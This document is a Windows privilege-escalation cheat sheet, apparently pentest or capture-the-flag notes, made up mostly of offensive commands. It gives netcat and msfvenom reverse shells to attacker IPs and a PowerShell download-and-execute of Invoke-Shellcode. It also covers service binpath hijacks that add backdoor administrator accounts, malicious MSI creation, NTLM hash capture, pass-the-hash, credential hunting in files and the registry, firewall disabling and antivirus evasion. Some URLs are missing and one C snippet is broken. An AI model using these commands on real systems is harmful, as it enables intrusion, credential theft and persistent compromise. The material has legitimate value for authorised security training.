Windows Privilege Escalation Examples


MindMap for PE

Windows Kernel Sploit List


use rlwrap to improve windows shell

rlwrap nc -lnvp 443

Useful commands

Credential reuse

Sometimes a user that you have the credentials for is also the administrator on the system, but uses the same password for both accounts. So never forget to try passwords when you have the chance. Just don't overdo it so you trigger some lockout mechanism and get detected.

Try the obvious - Maybe the user is SYSTEM or is already part of the Administrator group. As you can see from the output of the three commands below the username is hacker, he is part of the group administrators. In this case, a privilege escalation is not necessary because we are already in the administrators group!

  • whoami

  • net localgroup administrator

  • net user "%username%"

Getting a shell in limited interpreters:

system("start cmd.exe /k $cmd")

Bind cmd to a port:

nc.exe -Lp 31337 -vv -e cmd.exe

Reverse shell:

nc.exe attacker_ip attacker_port -e cmd.exe

To capture NTLM hash

Spin up and connect via smb to your server on kali. ie smbclient -L //$kali$ip

/usr/share/doc/python-impacket/examples/ -smb2support test .
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (victimip:port)
[*] AUTHENTICATE_MESSAGE (MicrosoftAccount\[email protected],DESKTOP-12345A)
[*] User [email protected]\DESKTOP-123456A authenticated successfully
[*][email protected]::MicrosoftAccount:aad3c435b514a4eeaad3b935b51304fec46b9e58:aad3c435b514a4eeaad3b935b51304fec46b9e58:aad3c435b514a4eeaad3b935b51304fec46b9e58

System info

Finding installed software, running processes, bind ports, and OS version might be critical to identify the right EoP vector.

Find installed patches, architecture, OS version

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

Get exact OS version

type C:/Windows/system32/eula.txt

Hotfix(s): N/A If there are no Hot fixes then its likely the system is vulnerable to kernel exploit




List open connections

netstat -aton

Network information

ipconfig /all & route print & arp -a

Information about a Users & Administrator

Find current user.

echo %username%

List all users

net users

Firewall information

netsh firewall show state
netsh firewall show config

List scheduled tasks

schtasks /query /fo LIST /v

List windows services

net start
wmic service list brief

Links running processes to started services

tasklist /SVC

Incorrect permissions in services

A service running as Administrator/SYSTEM with incorrect file permissions might allow PE. You can replace the binary, restart the service and get system.

We are interested in services where permissions are: BUILTIN\Users with (F) or (C) or (M) for our group. More info about permissions:

Common exploitation payloads involve: Replacing the affecting binary with a reverse shell or a command that creates a new user and adds it to the Administrator group. Replace the affected service with your payload and and restart the service running:

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
sc start/stop serviceName

Obtain the permission string of all services

sc query state= all | findstr "SERVICE_NAME:" >> a & FOR /F "tokens=2 delims= " %i in (a) DO @echo %i >> b & FOR /F %i in (b) DO @(@echo %i & @sc sdshow %i & @echo ---------) & del a 2>nul & del b 2>nul

The following commands will print the affected services:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"

If wmic is not available we can use sc.exe:

sc query state= all | findstr "SERVICE_NAME:" >> Servicenames.txt
FOR /F %i in (Servicenames.txt) DO echo %i
type Servicenames.txt
FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt
FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt

You can also manually check each service using cacls:

cacls "C:\path\to\file.exe"

If you don't have access to wmic, you can do:

sc qc upnphost

Windows XP SP1 is known to be vulnerable to PE in upnphost. You get Administrator with:

sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe YOUR_IP 1234 -e C:\WINDOWS\System32\cmd.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost

If it fails because of a missing dependency, run the following:

sc config SSDPSRV start= auto
net start SSDPSRV
net start upnphost

Or remove the dependency:

sc config upnphost depend= ""

Using meterpreter:



If wmic and sc is not available, you can use accesschk. For Windows XP, version 5.2 of accesschk is needed:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -qdws "Authenticated Users" C:\Windows\ /accepteula
accesschk.exe -qdws Users C:\Windows\

Then query the service using Windows sc:

sc qc <vulnerable service name>

Then change the binpath to execute your own commands (restart of the service will most likely be needed):

sc config <vuln-service> binpath= "net user backdoor backdoor123 /add"
sc stop <vuln-service>
sc start <vuln$ -service>
sc config <vuln-service> binpath= "net localgroup Administrators backdoor /add"
sc stop <vuln-service>
sc start <vuln-service>

Note - Might need to use the depend attribute explicitly:sc stop <vuln-service>

sc config <vuln-service> binPath= "c:\inetpub\wwwroot\runmsf.exe" depend= "" start= demand obj= ".\LocalSystem" password= ""
sc start <vuln-service>

Juicy Potato (abusing the golden privileges)

If you have SeAssingPrimaryToken or SeImpersonate privileges, you can get SYSTEM.

Vulnerable Win versions

Windows 7 Enterprise
Windows 8.1 Enterprise
Windows 10 Enterprise
Windows 10 Professional
Windows Server 2008 R2 Enterprise
Windows Server 2012 Datacenter
Windows Server 2016 Standard

create payload

msfvenom -p windows/shell_reverse_tcp LHOST=$kaliip LPORT=444 -e x86/shikata_ga_nai -f exe -o rev.exe

run juicy potato

JuicyPotato.exe -l 1340 -p C:\users\User\rev.exe -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}

capture connection

rlwrap nc -lnvp 444
Ncat: Version 7.80 ( )
Ncat: Listening on :::444
Ncat: Listening on
Ncat: Connection from $ip.
Ncat: Connection from $ip:54805.
Microsoft Windows [Version 10.0.17134.590]
(c) 2018 Microsoft Corporation. All rights reserved.

Find unquoted paths

If we find a service running as SYSTEM/Administrator with an unquoted path and spaces in the path we can hijack the path and use it to elevate privileges. This occurs because windows will try, for every white space, to find the binary in every intermediate folder.

For example, the following path would be vulnerable:

C:\Program Files\something\winamp.exe

Not vulnerable

"C:\Program Files\something\winamp.exe"

Obtain the path of the executable called by a Windows service (good for checking Unquoted Paths):

sc query state= all | findstr "SERVICE_NAME:" >> a & FOR /F "tokens=2 delims= " %i in (a) DO @echo %i >> b & FOR /F %i in (b) DO @(@echo %i & @echo --------- & @sc qc %i | findstr "BINARY_PATH_NAME" & @echo.) & del a 2>nul & del b 2>nul

We could place our payload with any of the following paths:

C:\winamp.exe (this is a reverse shell with the same names as legal program)

The following command will display affected services:

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

Check Permissions

We might even be able to override the service executable, always check out the permissions of the service binary:

icacls "C:\Program Files (x86)\Program Folder"

You can automate with meterpreter:



PowerUp is an extremely useful script for quickly checking for obvious paths to privilege escalation on Windows. It is not an exploit itself, but it can reveal vulnerabilities such as administrator password stored in registry and similar. We shamelessly use harmj0y's guide as reference point for the following guide. Some basic knowledge about how to import Powershell modules and used them is required.

PowerUp aims to be a clearinghouse of common Windows privilege escalation vectors that rely on misconfigurations

Import the PowerUp module with the following:

PS C:\> Import-Module PowerUp.ps1


The CanRestart option being true, allows us to restart a service on the system, the directory to the application is also write-able. This means we can replace the legitimate application with our malicious one, restart the service, which will run our infected program!

Use msfvenom to generate a reverse shell as an Windows executable.

If you want to invoke everything without touching disk, use something like this:

C:\> powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘’); Invoke-AllChecks”

Finding stuff fast

ClearText passwords (quick hits)

findstr /s /C:"stringtosearchfor.txt" "C:*"

We might sometimes find passwords in arbitrary files, you can find them running:

findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini

Find all those strings in config files.

dir /s *pass* == *cred* == *vnc* == *.config*

Find all passwords in all files.

findstr /spin "password" *.*
findstr /spin "password" *.*

These are common files to find them in. They might be base64-encoded. So look out for that.

type c:\sysprep.inf
type c:\sysprep\sysprep.xml
type c:\unattend.xml
type %WINDIR%\Panther\Unattend\Unattended.xml
type %WINDIR%\Panther\Unattended.xml
dir c:*vnc.ini /s /b
dir c:*ultravnc.ini /s /b
dir c:\ /s /b | findstr /si *vnc.ini

Stuff in the registry:

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password

Using meterpreter:


Pass the hash

Pass The Hash allows an attacker to authenticate to a remote target by using a valid combination of username and NTLM/LM hash rather than a cleartext password.

Windows hash format:


You can do a hash dump in the affected system running:

wce32.exe -w
wce64.exe -w

Download and run fgdump.exe on the target machine.

cd /usr/share/windows-binaries/fgdump; python -m SimpleHTTPServer 80
pth-winexe -U DOMAIN/user%hash //$ip cmd


export SMBHASH=xxx
pth-winexe -U user% //$ip cmd

You can also do run as, with the hash:

Technique 1:

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Technique 2:

secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
computer = "<hostname>"
[System.Diagnostics.Process]::Start("C:\users\public\nc.exe","<attacker_ip> 4444 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer)
powershell -ExecutionPolicy Bypass -File c:\users\public\r.ps1

Technique 3:

psexec64 \\COMPUTERNAME -u Test -p test -h "c:\users\public\nc.exe -nc <attacker_ip> 4444 -e cmd.exe"

Services only available from loopback

You can find services bind to the loopback interface that are not reachable through the network running. Look for LISTENING/LISTEN:

netstat -ano

Port forward using plinplink.exe -l root -pw mysecretpassword -R 8080:

Port forward using meterpreter

portfwd add -l <attacker port> -p <victim port> -r <victim ip>
portfwd add -l 3306 -p 3306 -r

If powershell is blocked, you can download:

Once you know the updates installed, you can find known exploits using windows-exploit-suggester.

./ -d 2017-02-09-mssb.xls -p ms16-075
[*] initiating winsploit version 3.2…
[*] database file detected as xls or xlsx based on extension
[*] searching all kb’s for bulletin id MS16-075
[+] relevant kbs [‘3164038’, ‘3163018’, ‘3163017’, ‘3161561’]
[*] done

In March 2017 Microsoft stopped maintaining the security bulletin search. This means the Windows Exploit Suggester database will not include any vulnerabilities or exploits found after that date. Still, this tool can still be very useful on older systems.

Compile windows exploit in linux:

i686-w64-mingw32-gcc 18176.c -lws2_32 -o 18176.exe

Compiling python scripts to executables:

wine ~/.wine/drive_c/Python27/Scripts/pyinstaller.exe --onefile


AlwaysInstallElevated is a setting that allows non-privileged users the ability to run Microsoft Windows Installer Package Files (MSI) with elevated (SYSTEM) permissions.

Check if these 2 registry values are set to "1"reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

If they are, create your own malicious msi:

msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi -o evil.msi

Then use msiexec on victim to execute your msi:

msiexec /quiet /qn /i C:\evil.msi

Metasploit module:

use exploit/windows/local/always_install_elevated


Vulnerable drivers

Third party drivers might contain vulnerabilities, find them running:


Kernel vulnerabilities

Run exploit suggester against systeminfo:

Don't rely on this - there are a lot of false positive! This is generally a last resort.
python -d 2017-05-27-mssb.xls -i systeminfo.txt

Find installed paths:

wmic qfe get Caption,Description,HotFixID,InstalledOn

Comprehensive tables of vulnerabilities below:

[+] Windows vulnerabilities:
Windows XP:
CVE-2012-4349 Unquoted windows search path - Windows provides the capability of including spaces in path names - can be root
CVE-2011-1345 Internet Explorer does not properly handle objects in memory - allows remote execution of code via object
CVE-2010-3138 EXPLOIT-DB 14765 - Untrusted search path vulnerability - allows local users to gain privileges via a Trojan horse
CVE-2011-5046 EXPLOIT-DB 18275 - GDI in windows does not properly validate user-mode input - allows remote code execution
CVE-2002-1214 ms02_063_pptp_dos - exploits a kernel based overflow when sending abnormal PPTP Control Data packets - code execution, DoS
CVE-2003-0352 ms03_026_dcom - exploits a stack buffer overflow in the RPCSS service
CVE-2003-0533 MS04-011 - ms04_011_lsass - exploits a stack buffer overflow in the LSASS service
CVE-2003-0719 ms04_011_pct - exploits a buffer overflow in the Microsoft Windows SSL PCT protocol stack - Private communication target overflow
CVE-2010-3970 ms11_006_createsizeddibsection - exploits a stack-based buffer overflow in thumbnails within .MIC files - code execution
CVE-2010-3147 EXPLOIT-DB 14745 - Untrusted search path vulnerability in wab.exe - allows local users to gain privileges via a Trojan horse
CVE-2003-0812 ms03_049_netapi - exploits a stack buffer overflow in the NetApi32
CVE-2003-0818 ms04_007_killbill - vulnerability in the bit string decoding code in the Microsoft ASN.1 library
CVE-2003-0822 ms03_051_fp30reg_chunked - exploit for the chunked encoding buffer overflow described in MS03-051
CVE-2004-0206 ms04_031_netdde - exploits a stack buffer overflow in the NetDDE service
Windows 7:
CVE-2014-4114 ms14_060_sandworm - exploits a vulnerability found in Windows Object Linking and Embedding - arbitrary code execution
CVE-2015-0016 ms15_004_tswbproxy - abuses a process creation policy in Internet Explorer's sandbox - code execution
CVE-2014-4113 ms14_058_track_popup_menu - exploits a NULL Pointer Dereference in win32k.sys - arbitrary code execution
CVE-2010-3227 EXPLOIT-DB - Stack-based buffer overflow in the UpdateFrameTitleForDocument method - arbitrary code execution
CVE-2018-8494 remote code execution vulnerability exists when the Microsoft XML Core Services MSXML parser processes user input
CVE-2010-2744 EXPLOIT-DB 15894 - kernel-mode drivers in windows do not properly manage a window class - allows privileges escalation
CVE-2010-0017 ms10_006_negotiate_response_loop - exploits a denial of service flaw in the Microsoft Windows SMB client - DoS
CVE-2010-0232 ms10_015_kitrap0d - create a new session with SYSTEM privileges via the KiTrap0D exploit
CVE-2010-2550 ms10_054_queryfs_pool_overflow - exploits a denial of service flaw in the Microsoft Windows SMB service - DoS
CVE-2010-2568 ms10_046_shortcut_icon_dllloader - exploits a vulnerability in the handling of Windows Shortcut files (.LNK) - run a payload
Windows 8:
CVE-2013-0008 ms13_005_hwnd_broadcast - attacker can broadcast commands from lower Integrity Level process to a higher one - privilege escalation
CVE-2013-1300 ms13_053_schlamperei - kernel pool overflow in Win32k - local privilege escalation
CVE-2013-3660 ppr_flatten_rec - exploits EPATHOBJ::pprFlattenRec due to the usage of uninitialized data - allows memory corruption
CVE-2013-3918 ms13_090_cardspacesigninhelper - exploits CardSpaceClaimCollection class from the icardie.dll ActiveX control - code execution
CVE-2013-7331 ms14_052_xmldom - uses Microsoft XMLDOM object to enumerate a remote machine's filenames
CVE-2014-6324 ms14_068_kerberos_checksum - exploits the Microsoft Kerberos implementation - privilege escalation
CVE-2014-6332 ms14_064_ole_code_execution - exploits the Windows OLE Automation array vulnerability
CVE-2014-6352 ms14_064_packager_python - exploits Windows Object Linking and Embedding (OLE) - arbitrary code execution
CVE-2015-0002 ntapphelpcachecontrol - NtApphelpCacheControl Improper Authorization Check - privilege escalation
Windows 10:
CVE-2015-1769 MS15-085 - Vulnerability in Mount Manager - Could Allow Elevation of Privilege
CVE-2015-2426 ms15_078_atmfd_bof MS15-078 - exploits a pool based buffer overflow in the atmfd.dll driver
CVE-2015-2479 MS15-092 - Vulnerabilities in .NET Framework - Allows Elevation of Privilege
CVE-2015-2513 MS15-098 - Vulnerabilities in Windows Journal - Could Allow Remote Code Execution
CVE-2015-2423 MS15-088 - Unsafe Command Line Parameter Passing - Could Allow Information Disclosure
CVE-2015-2431 MS15-080 - Vulnerabilities in Microsoft Graphics Component - Could Allow Remote Code Execution
CVE-2015-2441 MS15-091 - Vulnerabilities exist when Microsoft Edge improperly accesses objects in memory - allows remote code execution
CVE-2015-0057 exploits GUI component of Windows namely the scrollbar element - allows complete control of a Windows machine
Windows Server 2003:
CVE-2008-4114 ms09_001_write - exploits a denial of service vulnerability in the SRV.SYS driver - DoS
CVE-2008-4250 ms08_067_netapi - exploits a parsing flaw in the path canonicalization code of NetAPI32.dll - bypassing NX
CVE-2017-8487 allows an attacker to execute code when a victim opens a specially crafted file - remote code execution

Windows version map

Operating System Version Number
Windows 1.0 1.04
Windows 2.0 2.11
Windows 3.0 3
Windows NT 3.1 3.10.528
Windows for Workgroups 3.11 3.11
Windows NT Workstation 3.5 3.5.807
Windows NT Workstation 3.51 3.51.1057
Windows 95 4.0.950
Windows NT Workstation 4.0 4.0.1381
Windows 98 4.1.1998
Windows 98 Second Edition 4.1.2222
Windows Me 4.90.3000
Windows 2000 Professional 5.0.2195
Windows XP 5.1.2600
Windows Vista 6.0.6000
Windows 7 6.1.7600
Windows 8.1 6.3.9600
Windows 10 10.0.10240

Automated tools


PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment

Reverse Shell from Windows

If there’s a way, we can execute code from windows, we may try

  • Uploading ncat and executing it

  • Powershell Empire/ Metasploit Web-Delivery Method

  • Invoke-Shellcode (from powersploit) see below

Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('http://YourIPAddress:8000/Invoke-Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost YourIPAddress -Lport 4444 -Force"


use priv

Metasploit incognito

use incognito
list_tokens -u
list_tokens -g
impersonate_token DOMAIN_NAME\\USERNAME
steal_token PID

Useful commands

Add a new user

net user test 1234 /add
net localgroup administrators test /add
type file

Remove file

del /f file

Change password for user:

net user <user> <password>

List users:

net user

Info about a user:

net user <username>

Permissions on a folder recursively:

cacls *.* /t /e /g domainname\administrator:f

Enable RDP access

This is useful to do because generally it is easier to manipulate windows using the GUI. The downside is that you're most definitely will have an impact on the machine, as you may have to create a user or change a user's password to get in.

reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable

Disable firewall

netsh firewall set opmode disable

Run exploit

C:\tmp>powershell -ExecutionPolicy ByPass -command "& { . C:\tmp\Invoke-MS16-032.ps1; Invoke-MS16-032 }"



Module to elevate privileges to SYSTEM by creating a service or hijacking existing ones with incorrect permissions


Other scripts

GDSSecurity's Windows-Exploit-Suggester worked excellently for operating systems in the Windows XP and Windows Vista era, GDSSecurity's Windows-Exploit-Suggester does not work for operating systems like Windows 10 and vulnerabilities published in recent years. This is because Microsoft replaced the Microsoft Security Bulletin Data Excel file [1] on which GDSSecurity's Windows-Exploit-Suggester is fully dependent, by the MSRC API [2]. The Microsoft Security Bulletin Data Excel file has not been updated since Q1 2017, so later operating systems and vulnerabilities cannot be detected. Thanks @gdssecurity, for this great tool which has served many of us for so many years!

Useful exploits

Automatically downloads and compiles exploit

USAGE: <exploit id>

Windows Remote Exploits:

0: windows_exploit_suggester
1: ms03-026
2: ms03-039 (1)
3: ms03-039 (2)
4: *ms03-049
5: ms04-007
6: ms04-011 - ssl bof
7: ms04-011 - lsasarv.dll
8: ms04-031
9: ms05-017
10: ms05-039
11: *ms06-040 (1)
12: ms06-040 (2)
13: ms06-070
14: *ms08-067 (1)
15: ms08-067 (2)
16: ms08-067 (3)
17: *ms09-050

Windows Local Exploits:

18: windows-privesc-check
19: ms04-011
20: ms04-019 (1)
21: ms04-019 (2)
22: ms04-019 (3)
23: ms04-020
24: *keybd_event
25: *ms05-018
26: *ms05-055
27: ms06-030
28: ms06-049
29: print spool service
30: *ms08-025
31: netdde
32: ms10-015
33: ms10-059
34: ms10-092
35: ms11-080
36: ms14-040
37: *ms14-058 (1)
38: ms14-058 (2)
39: *ms14-070 (1)
40: ms14-070 (2)
41: *ms15-010 (1)
42: *ms15-010 (2)
43: ms15-051
44: *ms16-014
45: ms16-016
46: ms16-032

Check out:

Windows Server 2003 and IIS 6.0 privilege escalation using impersonation:
/churrasco/-->Usage: Churrasco.exe [-d] "command to run"
c:\Inetpub>churrasco -d "net user /add <username> <password>"
c:\Inetpub>churrasco -d "net localgroup administrators <username> /add"

Windows MS11-080

python --onefile
mx11-080.exe -O XP

From admin to system

psexec.exe -i -s %SystemRoot%\system32\cmd.exe

AV bypass

Generating a mutated binary to bypass antiviruses

wine hyperion.exe ../backdoor.exe ../backdoor_mutation.exe

Access Check

You will probably need to accept the eula first:

accesschk.exe /accepteula

Windows hashes

if you capture a hash - put it into Google someone might have cracked it before

NTLM and LM passwords are located in the SAM file in C:\\Windows\SYSTEM32\CONFIG

LAN Manager (LM): Windows XP and prior use LAN manager protocol. Uses DES but the key space is small (only uppercase, not salted, 14 chars or padded to 14).

NTLM/NTLM2: It does not split the password, also stored in uppercase

Kerberos: Default protocol for active directory envs.PoCs

Add user to administrator group

#include <stdlib.h>
int main ()
int i;
i = system("net localgroup administrators theusername /add");
return 0;
i686-w64-mingw32-gcc windows-exp.c -lws2_32 -o exp.exe

Run an arbitrary command:

echo -e '#include <stdio.h>\n#include <smain () {\nsystem("C:\\Users\\Administrator\\Desktop\\nc -lvp 4313 -e cmd.exe");\nreturn(0);\n}'> poc.c

Print proof

echo. & echo. & echo whoami: & whoami 2> nul & echo %username% 2> nul & echo. & echo Hostname: & hostname & echo. & ipconfig /all & echo. & echo proof.txt: & type "C:\Documents and Settings\Administrator\Desktop\proof.txt"